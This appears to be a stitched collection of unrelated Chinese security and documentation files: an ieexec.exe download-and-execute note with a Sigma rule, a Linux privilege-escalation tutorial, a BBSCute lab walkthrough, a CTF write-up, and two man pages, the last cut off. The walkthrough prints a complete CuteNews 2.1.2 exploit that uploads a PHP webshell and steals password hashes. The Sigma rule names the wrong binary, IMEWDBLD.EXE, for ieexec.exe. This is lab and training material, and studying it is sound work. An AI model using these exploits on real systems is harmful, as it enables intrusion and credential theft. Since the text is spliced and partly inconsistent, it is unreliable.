在Windows10环境下直接执行ieexec.exe提示异常,需要指定具体路径后才可以正常执行该命令。可将文中的QQ.exe替换成bypass文件即可。 ## 测试留痕 ```yml 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1a24 新进程名称: C:\Windows\Microsoft.NET\Framework\v2.0.50727\IEExec.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x1410 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe  https://xxx/QQ.exe ``` ## 检测方法/思路 ### Sigma规则 ```yml title: ieexec.exe bypass status: experimental date: 2022/04/20 author: 12306Br0 tags: - attack.command_and_control - attack.t1105 references: - https://www.codercto.com/a/104908.html - https://lolbas-project.github.io/lolbas/Binaries/Ieexec/ logsource: product: windows category: security selection: NewProcessName: \IMEWDBLD.EXE CommandLine:http*// condition: selection falsepositives: - Unknown level: medium ``` ## 参考推荐 MITRE-ATT&CK-T1105 <https://attack.mitre.org/techniques/T1105> ieexec.exe <https://lolbas-project.github.io/lolbas/Binaries/ieexec/> 远控免杀专题(46)-白名单IEexec.exe执行payload <https://www.codercto.com/a/104908.html>
sec-knowleage
原文 by 安全客 在渗透测试或者漏洞评估的过程中,提权是非常重要的一步,在这一步,黑客和安全研究人员常常通过exploit,bug,错误配置来提升权限。本文的例子都是在虚拟机里测试的,不同的虚拟机可以从Vulnhub下载。 ## 实验一:利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 ![privi1](../pictures/privi1.png) 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 2.查看内核版本 3.检测当前用户权限 4.列举Suid文件 5.查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞 `$ lsb_release -a` 查看系统的发行版本 ![privi1](../pictures/privi2.png) `$ uname -a` 查看内核版本 ![privi1](../pictures/privi3.png) 每次在提权的时候,我们都会一次又一次的测试,我们将搜索所有可能的提权技术,并依次应用,直到成功。我们将测试不同的内核exploit,也会暴力破解账号。这个例子我们知道操作系统采用的是Ubuntu 14.04.4 LTS,内核版本是3.13.0-24-generic,首先我们尝试利用overlayfs,这个exploit会工作在Ubuntu 12.04/14.04/14.10/15.04的linux内核3.19之前和3.13.0之后,我们测试一下。 我们首先移动到/tmp目录,然后新建一个文件,粘贴exploit代码进去 依次运行: ``` $ cd /tmp $ touch exploit.c $ vim exploit.c ``` vim保存推出后,我们编译代码 `$ gcc exploit.c -o exploit` ![privi1](../pictures/privi4.png) 现在执行,如果提示没有权限,还需chomd 777 ./exploit `$ ./exploit` 通过截图可以看到我们已经获取到了root权限,接下来获取交互式的shell `$ python -c 'import pty; pty.spawn("/bin/bash")'` 如果提权失败了,我个人建议你测试几个其他的exploit,新的内核版本也可以试试 Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – 'overlayfs' Local Root Shell https://www.exploit-db.com/exploits/37292/ Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit https://www.exploit-db.com/exploits/39166/ Linux Kernel 4.3.3 – 'overlayfs' Local Privilege Escalation https://www.exploit-db.com/exploits/39230/ 最后核心提示:内核exploit提权有风险,有可能会崩溃系统。 ## 实验2:利用低权限用户目录下可被Root权限用户调用的脚本提权 Mr.Robot是另一个boot到root的挑战虚拟机,我拿这个例子来告诉你为什么suid程序在提权的过程中是重要的,如果你以前对suid没有了解,可以参考https://en.wikipedia.org/wiki/Setuid 我们首先查看下当前用户 ![privi1](../pictures/privi5.png) 通过截图可以得知,当前用户为"daemon",我们接下来提权"daemon"到"root" 这台Ubuntu 14.04运行linux内核3.13.0-55-generic,我尝试已有的exploit都失败了。 ![privi1](../pictures/privi6.png) 这次我们通过寻找系统里可以用的SUID文件来提权。运行: `$ find / -perm -u=s -type f 2>/dev/null` 得到如下列表: ![privi1](../pictures/privi7.png) 通过截图,我们发现nmap居然有SUID标志位,来看看nmap版本 ![privi1](../pictures/privi8.png) 一个非常老的nmap版本,但是这个版本的nmap如何帮我们提权呢? nmap支持“interactive.”选项,用户能够通过该选项执行shell命令,通常,安全人员会使用该命令来避免他们使用nmap命令被记录在history文件中 ![privi1](../pictures/privi9.png) 因为nmap有SUID位,所以通过"!sh"我们会获取到一个root权限的shell ![privi1](../pictures/privi10.png) 在你的渗透过程,如果发现Nmap 3.48 有SUID位,可以按照本文的例子做下测试。 ## 实验3:利用环境变量劫持高权限程序提权 PwnLad是笔者最喜欢的挑战,一个攻击者有几个账号,但是都不是root权限。 我们当前登录的是"Kane"账号,当前没有有效的内核exploit,也没有其他可以利用的suid文件 ![privi1](../pictures/privi11.png) 只有在Kane的home目录下有一个"msgmike."文件 ![privi1](../pictures/privi12.png) 使用file命令查看下这个文件 ![privi1](../pictures/privi13.png) 从截图可以看到,这是一个ELF 32位 LSB执行文件,但是当我们执行文件的时候,报错了 ![privi1](../pictures/privi14.png) 通过报错信息我们可以看到msgmike调用cat命令读取/home/mike/msg.txt文件。 针对这种情况,我们可以通过设置bash的$path环境变量来利用,通常的$PATH包含 ![privi1](../pictures/privi15.png) 然而当我们调用cat命令的时候,会从以上目录来寻找cat,如果我们添加.到$PATH环境变量,则会先从当前目录来寻找cat指令 新建cat,添加执行权限 ![privi1](../pictures/privi16.png) 这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),从而提权。完整的exploit如下 ![privi1](../pictures/privi17.png) ## Reference [实战Linux下三种不同方式的提权技巧](http://bobao.360.cn/learning/detail/2984.html) [Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum) [Linux_Exploit_Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester)
sec-knowleage
# BBSCute 1.0.2 > https://download.vulnhub.com/bbs-cute/Cute-v1.0.2.ova.bz2 靶场IP:`192.168.2.10` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~/Desktop] └─# nmap -p1-65535 -sV 192.168.2.10 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 10:13 EDT Nmap scan report for 192.168.2.10 Host is up (0.00028s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 88/tcp open http nginx 1.14.2 110/tcp open pop3 Courier pop3d 995/tcp open ssl/pop3 Courier pop3d MAC Address: 08:00:27:FF:D9:F2 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.97 seconds ``` 访问80端口 ![image-20220905221422086](../../.gitbook/assets/image-20220905221422086.png) ![image-20220905221516027](../../.gitbook/assets/image-20220905221516027.png) 访问88端口 ![image-20220905221436779](../../.gitbook/assets/image-20220905221436779.png) 查找CuteNews漏洞 ``` ┌──(root㉿kali)-[~/Desktop] └─# searchsploit CuteNews 2.1.2 ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit) | php/remote/46698.rb CuteNews 2.1.2 - Arbitrary File Deletion | php/webapps/48447.txt CuteNews 2.1.2 - Authenticated Arbitrary File Upload | php/webapps/48458.txt CuteNews 2.1.2 - Remote Code Execution | php/webapps/48800.py ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ``` exp:https://www.exploit-db.com/exploits/48800 ``` # Exploit Title: CuteNews 2.1.2 - Remote Code Execution # Google Dork: N/A # Date: 2020-09-10 # Exploit Author: Musyoka Ian # Vendor Homepage: https://cutephp.com/downloading.php # Software Link: https://cutephp.com/downloading.php # Version: CuteNews 2.1.2 # Tested on: Ubuntu 20.04, CuteNews 2.1.2 # CVE : CVE-2019-11447 #! /bin/env python3 import requests from base64 import b64decode import io import re import string import random import sys banner = """ _____ __ _ __ ___ ___ ___ / ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ | / /__/ // / __/ -_) / -_) |/|/ (_-< / __/_ / / / __/ \___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/ ___ _________ / _ \/ ___/ __/ / , _/ /__/ _/ /_/|_|\___/___/ """ print (banner) print ("[->] Usage python3 expoit.py") print () sess = requests.session() payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>" ip = input("Enter the URL> ") def extract_credentials(): global sess, ip url = f"{ip}/cdata/users/lines" encoded_creds = sess.get(url).text buff = io.StringIO(encoded_creds) chash = buff.readlines() if "Not Found" in encoded_creds: print ("[-] No hashes were found skipping!!!") return else: for line in chash: if "<?php die('Direct call - access denied'); ?>" not in line: credentials = b64decode(line) try: sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1) print (sha_hash) except: pass def register(): global sess, ip userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10)) postdata = { "action" : "register", "regusername" : userpass, "regnickname" : userpass, "regpassword" : userpass, "confirm" : userpass, "regemail" : f"{userpass}@hack.me" } register = sess.post(f"{ip}/index.php?register", data = postdata, allow_redirects = False) if 302 == register.status_code: print (f"[+] Registration successful with username: {userpass} and password: {userpass}") else: sys.exit() def send_payload(payload): global ip token = sess.get(f"{ip}/index.php?mod=main&opt=personal").text signature_key = re.search('signature_key" value="(.*?)"', token).group(1) signature_dsi = re.search('signature_dsi" value="(.*?)"', token).group(1) logged_user = re.search('disabled="disabled" value="(.*?)"', token).group(1) print (f"signature_key: {signature_key}") print (f"signature_dsi: {signature_dsi}") print (f"logged in user: {logged_user}") files = { "mod" : (None, "main"), "opt" : (None, "personal"), "__signature_key" : (None, f"{signature_key}"), "__signature_dsi" : (None, f"{signature_dsi}"), "editpassword" : (None, ""), "confirmpassword" : (None, ""), "editnickname" : (None, logged_user), "avatar_file" : (f"{logged_user}.php", payload), "more[site]" : (None, ""), "more[about]" : (None, "") } payload_send = sess.post(f"{ip}/index.php", files = files).text print("============================\nDropping to a SHELL\n============================") while True: print () command = input("command > ") postdata = {"cmd" : command} output = sess.post(f"{ip}/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata) if 404 == output.status_code: print ("sorry i can't find your webshell try running the exploit again") sys.exit() else: output = re.sub("GIF8;", "", output.text) print (output.strip()) if __name__ == "__main__": print ("================================================================\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n================================================================") extract_credentials() print ("================================================================") print() print ("=============================\nRegistering a users\n=============================") register() print() print("=======================================================\nSending Payload\n=======================================================") send_payload(payload) print () ``` 直接用exp执行命令 ![image-20220905222045076](../../.gitbook/assets/image-20220905222045076.png) 查看sudo列表 ``` command > sudo -l Matching Defaults entries for www-data on cute: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on cute: (root) NOPASSWD: /usr/sbin/hping3 --icmp ```
sec-knowleage
.\" 發信人: hendrix.bbs@bbs.mis.cycu.edu.tw (啾...), 信區: Linux .\" 標 題: printcap man page 中譯 .\" 發信站: 中原資管森林站 (Sun Mar 30 16:55:48 1997) .\" 轉信站: cis_nctu!news.cis.nctu!news-peer.nctu!news.nctu!spring!News.csie.ncu!F .\" -- .\" .TH PRINTCAP 8 "UNIX Programmer's Manual" "4.2 Berkeley Distribution" "May 10, 1991" .SH NAME .B printcap - 打印机相容性数据库 .SH "总览 SYNOPSIS" .B printcap .SH "描述 DESCRIPTION" .B Printcap 是 .B termcap(5) 的簡單版, 用來描述 line printers. 當用到 spool 系 統時, 一定會去參考 printcap 這個檔. 允許動態地加入及刪除印表機. 在這資料 庫中的每一段敘述代表一台印表機. This data base may not be substituted for, as is possible for termcap, because it may allow accounting to be bypassed. .PP 預設的印表機是 lp, 雖然環境變數 PRINTER 可能優於(override)此. 每一 個用到 spool 的軟體都支援 -p 的選項, 用以選擇印表機. 如果想知道如何為一 台印表機設定資料的討論, 請參照 4.3 BSD Line Printer Spooler Manual. .SH "相容性 CAPABILITIES" 根據 .BI termcap(5) 對檔案輸出的描述. .nf Name Type Description af str NULL name of accounting file br num none if lp is a tty, set the baud rate (ioctl(2) call) cf str NULL cifplot data filter df str NULL tex data filter (DVI format) fc num 0 if lp is a tty, clear flag bits (sgtty.h) ff str `\f' string to send for a form feed fo bool false print a form feed when device is opened fs num 0 like `fc' but set bits gf str NULL graph data filter (plot(3) format) hl bool false print the burst header page last ic bool false driver supports(non standard) ioctl to indent printout if str NULL name of text filter which does accounting lf str /dev/console error logging file name lo str lock name of lock file lp str /dev/lp device name to open for output mx num 1000 maximum file size (in BUFSIZ blocks), zero = unlimited nd str NULL next directory for list of queues (unimplemented) nf str NULL ditroff data filter (device independent troff) of str NULL name of output filtering program pc num 200 price per foot or page in hundredths of cents pl num 66 page length (in lines) pw num 132 page width (in characters) px num 0 page width in pixels (horizontal) py num 0 page length in pixels (vertical) rf str NULL filter for printing FORTRAN style text files rg str NULL restricted group. Only members of group allowed access rm str NULL machine name for remote printer rp str ``lp'' remote printer name argument rs bool false restrict remote users to those with local accounts rw bool false open the printer device for reading and writing sb bool false short banner (one line only) sc bool false suppress multiple copies sd str /var/spool/lpd spool directory sf bool false suppress form feeds sh bool false suppress printing of burst page header st str status status file name tf str NULL troff data filter (cat phototypesetter) tr str NULL trailer string to print when queue empties vf str NULL raster image filter .fi .PP 如果本地端印表機(local line printer) driver 支援 indentation 的話, daemon 將 知道如何去用它. .SH "过滤器 FILTERS" .B lpd(8) 守护进程將創造出一個過濾的管線 (pipeline of filters) 來處理各個不同印 表機的檔案. 過濾器將依照旗標來選擇將何者送到 .B lpr(1) . 管線的設定值有: .nf p pr | if regular text + pr(1) none If regular text c cf cifplot d df DVI (tex) g gf plot(3) n nf ditroff f rf Fortran t tf troff v vf raster image .fi .PP if 過濾器的用法是: .nf if [-c] -wwidth -llength -iindent -n login -h host acct-file .fi .PP \fI-c\fP 這個旗標只有在 -l 旗標有列在 lpr 中時才可忽略. width 和 length 定義 了 page 的長和寬 (from pw and pl respectively). -n 和 -h 可指定列印工作擁有者 的 login name 和 host name. Acct-file 將忽略 printcap 中的描述. .PP If no if is specified, of is used instead, with the distinction that of is opened only once, while if is opened for every individual job. Thus, if is better suited to performing accounting. The of is only given the width and length flags. .PP 其它過濾器的呼叫用法如下: .nf filter -xwidth -ylength -n login -h host acct-file .fi .PP 如果要用 pixels 為單位來定長寬的話, 用 px 和 py 這二個變數. 所有的過濾器都經由 stdin 輸入檔案, stdout 輸出到印表機, 用 stderr 或 .B syslog(3) 來記錄(log), 而且不會忽略 SIGINT. .SH "日志 LOGGING" Error messages generated by the line printer programs themselves (that is, the lp* programs) are logged by syslog(3) using the LPR facility. Messages printed on stderr of one of the filters are sent to the corre- sponding lf file. The filters may, of course, use syslog themselves. .PP Error messages sent to the console have a carriage return and a line feed appended to them, rather than just a line feed. .SH "参见 SEE ALSO" termcap(5), lpc(8), lpd(8), pac(8), lpr(1), lpq(1), lprm(1) .br 4.3 BSD Line Printer Spooler Manual. .SH "历史 HISTORY" The printcap file format appeared in 4.2BSD.. .SH "[中文版维护人]" .B 中原資管森林站 <u8313115@mis.cycu.edu.tw> .\" -- .\" 啾~~~ ^_^ .\" u8313115@mis.cycu.edu.tw .\" http://140.135.137.1/~u8313115/ .\" 中原資管森林站:140.135.137.11 .SH "[中文版最新更新]" .B 1997.01.01 .SH "《中国linux论坛man手册翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
--- title: 箭头函数 --- ## 箭头函数 ES6允许使用“箭头”(=>)定义函数。 ``` let [函数名] = (参数) => ( 返回值 ) ``` 等同于下面函数 ``` function [函数名]([参数]){ return ( 返回值 ) } ``` **注意**:箭头函数的参数小括号,一位参数时可以省略小括号。 如果函数执行多条js语句,用**{}**包裹。 如果有返回值使用**return**返回 ``` let [函数名] = (参数) => { js语句; return ( 返回值 ) } ``` 如果函数返回对象,用**({})**包裹 ``` let [函数名] = (参数) => ({ js语句; return ( 返回值 ) }) ``` 匿名箭头函数 ``` setTimeout(function(){ console.log('a') } ,1000) ``` 可以写为 ``` setTimeout( () => console.log('a') ,3000) ``` 箭头函数的**this**指向 ``` let sun = () => console.log(this); sun() ``` 指向定义时所在的对象,而不是使用时所在的对象。 普通函数指向window ``` function sun(){ console.log(this) }; sun() //undefined ``` 在严格模式下输出undefined 箭头函数指向的this在声明时就会绑定,以后所有的this都指向声明时的this。 ``` function foo() { setTimeout(() => { console.log('id:', this.id); }, 100); } var id = 21; foo.call({ id: 42 }); ``` 箭头函数里的this指向本身,也就是foo,执行foo的时候指向foo的id替换为42
sec-knowleage
# Gatekeeper RE ## Description: > It's a media PC! All fully purchased through the online subscription revolution empire "GimmeDa$". The PC has a remote control service running that looks like it'll cause all kinds of problems or that was written by someone who watched too many 1990s movies. You download the binary from the vendor and begin reversing it. Nothing is the right way around. A binary file was attached. ## Solution: Let's run the file: ```console root@kali:/media/sf_CTFs/google/gatekeeper# ./gatekeeper /===========================================================================\ | Gatekeeper - Access your PC from everywhere! | +===========================================================================+ [ERROR] Login information missing Usage: ./gatekeeper <username> <password> ``` Let's provide some username and password: ```console root@kali:/media/sf_CTFs/google/gatekeeper# ./gatekeeper my_username my_password /===========================================================================\ | Gatekeeper - Access your PC from everywhere! | +===========================================================================+ ~> Verifying.... ACCESS DENIED ~> Incorrect username ``` `ltrace` can be very useful in order to get an overview of the calls a userspace application makes to shared libraries. Let's run it and search for comparisons (e.g. `strcmp`): ```console root@kali:/media/sf_CTFs/google/gatekeeper# ltrace ./gatekeeper my_user my_password 2>&1 | grep cmp strcmp("my_user", "0n3_W4rM") = 61 ``` Looks like out username was compared to "0n3_W4rM", let's try that as the username: ```console root@kali:/media/sf_CTFs/google/gatekeeper# ltrace ./gatekeeper 0n3_W4rM my_password 2>&1 | grep cmp strcmp("0n3_W4rM", "0n3_W4rM") = 0 strcmp("drowssap_ym", "zLl1ks_d4m_T0g_I") = -22 ``` Looks like we made some progress, now our (reversed) password is being compared to another string. Let's try that: ```console root@kali:/media/sf_CTFs/google/gatekeeper# ./gatekeeper 0n3_W4rM $(echo "zLl1ks_d4m_T0g_I" | rev) /===========================================================================\ | Gatekeeper - Access your PC from everywhere! | +===========================================================================+ ~> Verifying.......Correct! Welcome back! CTF{I_g0T_m4d_sk1lLz} ``` The flag: CTF{I_g0T_m4d_sk1lLz}
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLFAQ 7" .TH PERLFAQ 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide" .SH "NAME" perlfaq \- Perl 常问问题集 (2003/01/31 17:37:17) .SH "DESCRIPTION 描述" .IX Header "DESCRIPTION" perlfaq 按照主题划分为多个文档,在本文档的末尾有一个目录。 .Sh "Where to get the perlfaq 如何取得这份文件?" .IX Subsection "Where to get the perlfaq" 这份文件会定期投到 comp.lang.perl.misc。也可以在许多网站上找到它,例如 http://www.perldoc.com/ 还有 http://faq.perl.org/ 译者注:两只老虎工作室的位置是 http://2Ti.com/cgi-bin/2T/perl/ 还有 ftp://www.math.ncu.edu.tw/pub/staff/chenym/FAQ/Perl/ 还有 <pailing@2Ti.com> .Sh "How to contribute to the perlfaq 如何为 perlfaq 做贡献?" .IX Subsection "How to contribute to the perlfaq" 你可以将更正,扩充以及建议以邮件方式发送到 perlfaq\-workers@perl.org . 这个地址不能用来提问题,它只用来修正当前的 \s-1FAQ\s0。如果有问题那么投递到新闻组 comp.lang.perl.misc。可以在 http://cvs.perl.org/cvsweb/perlfaq/ 查看源码树 (它是在主源码树之外)。\s-1CVS\s0 仓库记录了对 \s-1FAQ\s0 的所有改变。 .Sh "What will happen if you mail your Perl programming problems to the authors 如果把编程问题寄给作者怎么样?" .IX Subsection "What will happen if you mail your Perl programming problems to the authors" 作者大概不会理会您所提的问题,除非您是在建议把一些新问题加进 FAQ去,但如果是这样的话这些问题当初就该寄到 perlfaq\-workers@perl.com 处才对。 .PP 您应该已经阅读了这份 FAQ 的第二部分,您应该知道 comp.lang.perl.misc 才是寻求免费建议的适当地方。如果您的问题真的很重要而且您急着要得到正确解答,那麽您该请一个顾问。 .SH "Credits 致谢" .IX Header "Credits" 最初的 perlfaq 由 Tom Christiansen 完成,接着在 Tom 和 Nathan Torkington 的合作下得以扩展。当前的文档由 perlfaq-workers (perlfaq\-workers@perl.org) 进行维护,很多人贡献了解答,更正和评注。 .SH "Author and Copyright Information" .IX Header "Author and Copyright Information" Copyright (c) 1997\-2003 Tom Christiansen, Nathan Torkington, and other contributors noted in the answers. .PP All rights reserved. .Sh "Bundled Distributions" .IX Subsection "Bundled Distributions" This documentation is free; you can redistribute it and/or modify it under the same terms as Perl itself. .PP Irrespective of its distribution, all code examples in these files are hereby placed into the public domain. You are permitted and encouraged to use this code in your own programs for fun or for profit as you see fit. A simple comment in the code giving credit would be courteous but is not required. .Sh "Disclaimer" .IX Subsection "Disclaimer" This information is offered in good faith and in the hope that it may be of use, but is not guaranteed to be correct, up to date, or suitable for any particular purpose whatsoever. The authors accept no liability in respect of this information or its use. .SH "Table of Contents 目录" .IX Header "Table of Contents" .IP "perlfaq \- 本文档" 4 .IX Item "perlfaq - this document" .PD 0 .IP "perlfaq1 \- 有关 Perl 的一般问题" 4 .IX Item "perlfaq1 - General Questions About Perl" .IP "perlfaq2 \- 获取和学习 Perl" 4 .IX Item "perlfaq2 - Obtaining and Learning about Perl" .IP "perlfaq3 \- 编程工具" 4 .IX Item "perlfaq3 - Programming Tools" .IP "perlfaq4 \- 数据操作" 4 .IX Item "perlfaq4 - Data Manipulation" .IP "perlfaq5 \- 文件和格式" 4 .IX Item "perlfaq5 - Files and Formats" .IP "perlfaq6 \- 正则表达式" 4 .IX Item "perlfaq6 - Regular Expressions" .IP "perlfaq7 \- 综合的问题" 4 .IX Item "perlfaq7 - General Perl Language Issues" .IP "perlfaq8 \- 系统交互" 4 .IX Item "perlfaq8 - System Interaction" .IP "perlfaq9 \- 网络" 4 .IX Item "perlfaq9 - Networking" .PD .SH "The Questions 问题" .IX Header "The Questions" .Sh "perlfaq1: 有关 Perl 的一般问题" .IX Subsection "perlfaq1: General Questions About Perl" 有关 Perl 的一般的,非技术层次的问题 .IP "\(bu" 4 什么是 Perl? .IP "\(bu" 4 谁对 Perl 提供支持?谁开发了它?为什么它是自由的? .IP "\(bu" 4 我该用哪一个版本的 Perl? .IP "\(bu" 4 perl4 和 perl5 各代表什麽? .IP "\(bu" 4 perl6 是什么? .IP "\(bu" 4 Perl的发展已稳定了吗? .IP "\(bu" 4 Perl难学吗? .IP "\(bu" 4 Perl和其他的程设语言比起来如何?例如 Java, Python, \s-1REXX\s0, Scheme,或 Tcl? .IP "\(bu" 4 我可以用 Perl来做【某种差事】吗? .IP "\(bu" 4 哪些场合下不适合用 Perl? .IP "\(bu" 4 「perl」和「Perl」有什麽不同? .IP "\(bu" 4 Perl程式应算是 program还是 script? .IP "\(bu" 4 JAPH 是什麽? .IP "\(bu" 4 到哪儿可拿到 Larry Wall 的智慧讽语 (witticisms)? .IP "\(bu" 4 我要如何取信、说服我的系统管理者/上司/属下使用第 5/5.8.3 版的 Perl,而不去用其他的语言? .Sh "perlfaq2: 获取和学习 Perl" .IX Subsection "perlfaq2: Obtaining and Learning about Perl" 从哪里寻找 Perl 的源程序和文档,支持以及相关事项 .IP "\(bu" 4 哪些平台上有 Perl?要到哪里去找? .IP "\(bu" 4 要如何取得以二进制形式发行的 Perl? .IP "\(bu" 4 我的系统里没有 C编译器。要如何编译 perl? .IP "\(bu" 4 我直接将 Perl的执行档从一台机器上复制到另一台机器上,但是程式跑不起来。 .IP "\(bu" 4 我抓回了原始码,试着编译 perl,但是 gdbm/dynamic loading/malloc/linking/...部分失败。要如何将它搞定? .IP "\(bu" 4 Perl有哪些模组和延伸? CPAN是什麽? CPAN/src/...又代表什麽? .IP "\(bu" 4 是不是有一个经 ISO【国际标准局】或 ANSI【美国国家标准局】认可的 Perl版本? .IP "\(bu" 4 Perl的相关资料要上哪儿找? .IP "\(bu" 4 USENET上有哪些专门讨论 Perl的新闻讨论群?问题该投到哪里? .IP "\(bu" 4 如果我想投程式原始码,该投到哪个板子上? .IP "\(bu" 4 Perl 书籍 .IP "\(bu" 4 和 Perl 有关的杂志 .IP "\(bu" 4 网路上的 Perl:接触 FTP 和 WWW .IP "\(bu" 4 有哪些讨论 Perl 的邮件列表? .IP "\(bu" 4 comp.lang.perl.misc 的档案库 .IP "\(bu" 4 如何购买商业版本的 Perl? .IP "\(bu" 4 如果发现 bugs要向何处报告? .IP "\(bu" 4 什麽是 perl.com? Perl Mongers? pm.org? perl.org? cpan.org? .Sh "perlfaq3: 编程工具" .IX Subsection "perlfaq3: Programming Tools" 编程工具和编程支持 .IP "\(bu" 4 我如何作 (任何事)? .IP 